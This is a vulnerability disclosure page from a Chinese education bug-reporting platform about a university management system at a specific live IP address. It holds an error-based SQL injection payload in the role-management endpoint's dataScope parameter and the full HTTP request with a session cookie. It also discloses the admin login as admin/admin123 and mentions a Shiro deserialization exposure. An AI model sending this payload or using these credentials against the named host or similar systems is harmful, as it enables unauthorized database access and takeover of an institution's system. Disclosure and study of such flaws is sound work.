
 

漏洞地址：http://123.57.61.125:8080/login
漏洞位置在”系统管理”里中的”角色管理中”
POC：pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&
status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and
extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))
数据包：
POST /system/role/list HTTP/1.1
Host: 123.57.61.125:8080
Content-Length: 198
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36 

Content-Type: application/x-www-form-urlencoded
Origin: http://123.57.61.125:8080
Referer: http://123.57.61.125:8080/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=c8482408-e1c4-4d9a-bdb3-fc79e9bd88ec
Connection: close

pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and 

extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))
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登录账号密码也是弱口令：admin，admin123
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存在shiro反序列化框架

中国农业大学 | 教育漏洞报告平台

第3页 共4页 2023/1/3 9:42



中国农业大学 | 教育漏洞报告平台

第4页 共4页 2023/1/3 9:42

mailto:contact@src.sjtu.edu.cn
mailto:contact@src.sjtu.edu.cn
mailto:contact@src.sjtu.edu.cn
mailto:contact@src.sjtu.edu.cn
mailto:contact@src.sjtu.edu.cn
mailto:contact@src.sjtu.edu.cn

